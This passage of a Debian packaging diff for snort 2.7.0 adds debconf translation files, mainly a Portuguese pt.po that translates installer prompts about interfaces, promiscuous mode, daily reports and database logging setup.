+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "The following deprecated options were found in the configuration file: "
+#| "${DEP_CONFIG}."
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"В вашем файле настроек были найдены следующие устаревшие параметры: "
+"${DEP_CONFIG}."
--- snort-2.7.0.orig/debian/po/POTFILES.in
+++ snort-2.7.0/debian/po/POTFILES.in
@@ -0,0 +1,4 @@
+[type: gettext/rfc822deb] snort.templates
+[type: gettext/rfc822deb] snort-mysql.templates
+[type: gettext/rfc822deb] snort-pgsql.templates
+[type: gettext/rfc822deb] snort-common.templates
--- snort-2.7.0.orig/debian/po/pt.po
+++ snort-2.7.0/debian/po/pt.po
@@ -0,0 +1,815 @@
+# Portuguese translation for snort's debconf messages
+# Copyright (C) 2007 Miguel Figueiredo <elmig@debianpt.org>
+# This file is distributed under the same license as the snort package.
+# Miguel Figueiredo <elmig@debianpt.org>, 2007
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort 2.7.0-10\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-08 22:04+0100\n"
+"Last-Translator: Miguel Figueiredo <elmig@debianpt.org>\n"
+"Language-Team: Portuguese <traduz@debianpt.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "arranque"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "dialup"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manual"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Método de arraque do Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"O Snort pode ser iniciado durante o arranque, quando se liga à rede com pppd "
+"ou apenas manualmente com o comando /usr/bin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Interface(s) que o Snort deve escutar:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Normalmente este valor é 'eth0', mas poderá ser desadequado em alguns "
+"ambientes de rede; para uma ligação 'dialup' 'ppp0' poderá ser mais "
+"apropriado (veja a saída de '/sbin/ifconfig')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Normalmente este é o mesmo interface onde está a 'default route'. Você pode "
+"determinar qual o interface que é utilizado para isto quer correndo '/sbin/"
+"ip ro sh' ou correndo '/sbin/route -n' (procure por '0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Também não é invulgar utilizar um interface sem endereço IP configurado em "
+"modo promíscuo. Para esses casos, escolha o interface neste sistema que está "
+"fisicamente ligado à rede que deseja inspeccionar, depois active o modo "
+"promíscuo e assegure-se que o tráfego de rede é enviado para este interface "
+"(quer ligado a um porto de 'mirroring/spanning' num switch, a um hub ou a um "
+"tap)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Pode configurar aqui vários interfaces, apenas adicionando mais do que um "
+"nome de interface separado por espaços. Cada interface pode ter a sua "
+"configuração específica."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Gama de endereços para a rede local:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Por favor utilize o formato CIDR - por exemplo, 192.168.1.0/24 para um bloco "
+"de 256 endereços ou 192.168.1.42/32 para apenas um. Vários endereços devem "
+"ser separados por vírgulas (sem espaços)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Por favor note que se o Snort está a utilizar vários interfaces, irá "
+"utilizar este valor como a definição HOME_NET para todos eles."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Deve o Snort desabilitar o modo promíscuo no interface?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Desabilitar o modo promíscuo significa que o Snort irá apenas ver pacotes "
+"endereçados ao interface que está a monitorizar. Habilitá-lo permite ao "
+"Snort verificar cada pacote que passa o segmento Ethernet mesmo que seja a "
+"ligação entre outros dois computadores."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interface inválido"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"O Snort está a tentar utilizar um interface que não existe ou não está "
+"activado. Ou está a utilizar a pré-definição errada para 'eth0', ou você "
+"especificou um que é inválido."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Deve a ordem de teste do Snort ser alterada para Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"O ordem de teste pré-definida do Snort é Alert|Pass|Log; se aceitar esta "
+"opção a ordem será alterada para Pass|Alert|Log, que pode simplificar a "
+"utilização do Snort com outras ferramentas de filtragem de pacotes."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Devem ser enviados por e-mail sumários diários?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Pode ser criado um trabalho cron para enviar diariamente os sumários dos "
+"registos do Snort para um determinado endereço de e-mail."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Por favor escolha se quer activar esta funcionalidade."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinatário que deve receber mails diários das estatísticas:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Por favor especifique qual o endereço de e-mail que deve receber os resumos "
+"diários dos registos do Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Opções adicionais de personalização:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Por favor especifique que opções adicionais deve o Snort utilizar."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Número minimo de ocorrências antes de serem reportados alertas:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Por favor introduza o número minimo de ocorrências de alertas antes de um "
+"dado alerta ser incluido nas estatísticas diárias."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "É necessário que o Snort seja reiniciado"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Como o Snort é arrancado manualmente, você tem de executar '/etc/init.d/"
+"snort' para as alterações terem efeito."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Erro na configuração"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"A actual configuração do Snort é inválida e impede que o Snort inicie "
+"normalmente. Por favor reveja e corrija."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Para diagnosticar um erro num ficheiro de configuração do Snort, utilize '/"
+"usr/sbin/snort -T -c <ficheiro>'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Ficheiro de configuração obsoleto"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Este sistema utiliza um ficheiro de configuração obsoleto (/etc/snort/snort."
+"common.parameters) que foi automaticamente convertido para o novo formato de "
+"ficheiro de configuração (em /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Por favor reveja a nova configuração e remova a obsoleta. Até fazer isto, o "
+"script de arranque não irá utilizar a nova configuração e você não irá tirar "
+"vantagem dos benefícios introduzidos nos lançamentos mais recentes."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Deseja configurar uma base de dados para o snort-mysql fazer registos?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Não foi configurada uma base de dados para o Snort guardar os registos. "
+"Antes de continuar, você deve assegurar-se que tem:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - o nome da máquina do servidor (esse servidor tem de permitir ligações "
+"TCP\n"
+"   a partir desta máquina);\n"
+" - uma base de dados nesse servidor;\n"
+" - um nome de utilizador e palavra-passe para aceder à base de dados."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Se faltar algum destes requisitos, rejeite esta opção e corra com o suporte "
+"de registos em ficheiro normal."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"O registo em base de dados pode ser reconfigurado posteriormente ao correr "
+"'dpkg-reconfigure -plow snort-mysql'."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Nome da máquina do servidor da base de dados:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Por favor especifique o nome da máquina de um servidor de bases de dados que "
+"permita receber ligações feitas a partir desta máquina."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Nome da base de dados:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Por favor especifique o nome da base de dados existente na qual o utilizador "
+"da base de dados tem acesso de escrita."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Nome de utilizador para acesso à base de dados:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Por favor especifique um nome de utilizador de base de dados com acesso de "
+"escrita à base de dados."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Palavra-passe para a ligação à base de dados:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Por favor introduza a palavra-passe a utilizar para ligar à base de dados "
+"Snort Alert."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "É obrigatório configurar uma base de dados para o Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"O Snort necessita de uma base de dados configurada antes de poder iniciar "
+"com sucesso. De modo a criar a estrutura você necessita e correr os "
+"seguintes comandos DEPOIS do pacote estar instalado:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <utilizador> -h <máquina> -p "
+"<nome_base_dados>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Preencha os valores correctos para nome de utilizador, de máquina e de base "
+"de dados. O MySQL irá perguntar-lhe a palavra-passe."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Depois de ter criado a estrutura da base de dados, necessita iniciar "
+"manualmente o Snort."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Configurar uma base de dados para o snort-pgsql fazer registos?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"O registo em base de dados pode ser reconfigurado posteriormente ao correr "
+"'dpkg-reconfigure -plow snort-pgsql'."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <utilizador> -h <máquina> -W "
+"<nome_base_dados>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Preencha os valores correctos para os nomes de utilizador, máquina e base de "
+"dados. O PostgreSQL irá pedir-lhe a palavra-passe."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Ficheiro de configuração depreciado"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"O ficheiro de configuração do Snort (/etc/snort/snort.conf) utiliza opções "
+"depreciadas que já não estão disponíveis para este lançamento do Snort.  O "
+"Snort não irá ser capaz de iniciar a menos que você forneça um ficheiro de "
+"configuração correcto. Você pode substituir o seu ficheiro de configuração "
+"pelo que é disponibilizado neste pacote ou corrigi-lo manualmente removendo "
+"as opções depreciadas."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"As seguintes opções depreciadas foram encontradas no ficheiro de "
+"configuração: ${DEP_CONFIG}."
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Você está a correr o Snort manualmente"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Existe um erro na sua configuração"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "arranque, dialup, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Como deve o Snort ser iniciado?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Se quiser pode especificar 'any', para não confiar em nenhum lado da rede."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Um dos interfaces que especificou não é válido (pode não existir no "
+#~ "sistema ou estar desligado). Por favor introduza um interface válido "
+#~ "quando responder á questão acerca de qual(is) interface(s) deve o Snort "
+#~ "escutar."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Se não configurar um interface então o pacote está a tentar utilizar o "
+#~ "valor prédefinido ('eth0') que não parece ser válido no seu sistema."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Se alterar a ordem de teste das regras do Snort para Pass|Alert|Log, "
+#~ "serão aplicadas na ordem Pass->Alert->Log, em vez do padrão Alert->Pass-"
+#~ ">Log. Isto irá previnir as pessoas de terem de fazer grandes argumentos "
+#~ "na linha de comandos Berky Packet Filter para filtrar as suas regras de "
+#~ "alerta."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Esta instalação do Snort disponibiliza um trabalho no cron que corre "
+#~ "diáriamente e dá um sumário da informação dos registos do Snort para um "
+#~ "endereço de email seleccionado. Se quiser desligar esta funcionalidade "
+#~ "diga 'não' aqui."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Um trabalho do cron que corre diariamente irá sumarizar a informação dos "
+#~ "registos gerados pelo Snort utilizando um script chamado 'snort-stat'. "
+#~ "Introduza aqui o destinatário para esses mails. O valor prédefinido é o "
+#~ "administrador do sistema. Se mantiver este valor, assegure-se que o mail "
+#~ "do administrador é redireccionado para um utilizar que realmente lê esses "
+#~ "mails."
+
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Se quiser especificar opções de personalização para o Snort, por favor "
+#~ "especifique-as aqui."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Por favor reinicie o Snort utilizando:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "para deixar as definições terem efeito."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "A sua configuração do Snort não é correcta e o Snort não conseguirá "
+#~ "iniciar normalmente. Por favor reveja a sua configuração e corrija-a. Se "
+#~ "não fizer isto, as actualizações do pacote Snort provavelmente não irão "
+#~ "funcionar. Para ver qual o erro que está a ser gerado corra '/usr/bin/"
+#~ "snort -T -c /etc/snort/snort.conf' (ou aponte para um ficheiro de "
+#~ "configuração alternativo se está a utilizar ficheiros diferentes para "
+#~ "diferentes interfaces)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Necessita fazer isto apenas a primeira vez que instalar o snort-mysql. "
+#~ "Antes de continuar, assegure-se que tem (1) o nome de máquina de uma "
+#~ "máquina que corra um servidor mysql configurado para permitir ligações "
+#~ "tcp a partir daqui, (2) uma base de dados nesse servidor, (3) um nome de "
+#~ "utilizador e palavra chave para aceder à base de dados. Se não tem "
+#~ "_todos_ estes, ou escolha 'não' e corra com o normal suporte para "
+#~ "registos em ficheiro, ou primeiro corrija isto. Pode sempre, "
+#~ "posteriormente, configurar o registo na base de dados, ao reconfigurar o "
+#~ "pacote mysql-snort com 'dpkg-reconfigure -plow snort-mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr "Assegure-se que este utilizador foi criado e tem acesso de escrita."
+
+#~| msgid "Snort needs a configured database to log to before it starts."
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "O Snort necessita, antes de ser iniciado, de uma base de dados "
+#~ "configurada para registos"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Necessita fazer isto apenas a primeira vez que instalar o snort-pgsql. "
+#~ "Antes de continuar, assegure-se que tem (1) o nome de máquina de uma "
+#~ "máquina que corra um servidor pgsql configurado para permitir ligações "
+#~ "tcp a partir daqui, (2) uma base de dados nesse servidor, (3) um nome de "
+#~ "utilizador e palavra chave para aceder à base de dados. Se não tem "
+#~ "_todos_ estes, ou escolha 'não' e corra com o normal suporte para "
+#~ "registos em ficheiro, ou primeiro corrija isto. Pode sempre, "
+#~ "posteriormente, configurar o registo na base de dados, ao reconfigurar o "
+#~ "pacote mysql-snort com 'dpkg-reconfigure -plow snort-pgsql'"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "O Snort necessita de uma base de dados configurada antes de iniciar com "
+#~ "sucesso. De modo a criar a estrutura você necessita e correr o seguinte "
+#~ "comando DEPOIS do pacote estar instalado:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | pgsql -u <utilizador> -h <máquina> -p "
+#~ "<nome_bd>\n"
+#~ "Preencha os valores correctos para o utilizador, máquina e nome da base "
+#~ "de dados. O PostgreSQL irá perguntar-lhe pela palavra chave."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "O seu ficheiro de configuração foi depreciado"
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Por favor introduza o(s) nome(s) do(s) interface(s) que o Snort deve "
+#~ "escutar.  Os nomes dos interfaces disponíveis são disponibilizados quer "
+#~ "ao correr 'ip link show' ou 'ifconfig'. Normalmente este valor é 'eth0', "
+#~ "mas você pode querer alterá-lo dependendo do seu ambiente, se está a "
+#~ "utilizar uma ligação dialup, 'ppp0 poderá ser mais apropriado."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr ""
+#~ "Por favor introduza o intervalo de endereços que o Snort irá escutar."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Desabilitar o modo promíscuo se está a configurar o Snort num interface "
+#~ "sem um endereço IP configurado."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
+#~ "Por favor introduza o nome da máquina do servidor de base de dados mysql "
+#~ "a utilizar."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Por favor introduza o nome da base de dados a utilizar."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr ""
+#~ "Por favor introduza o nome do utilizador da base de dados que quer "
+#~ "utilizar."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
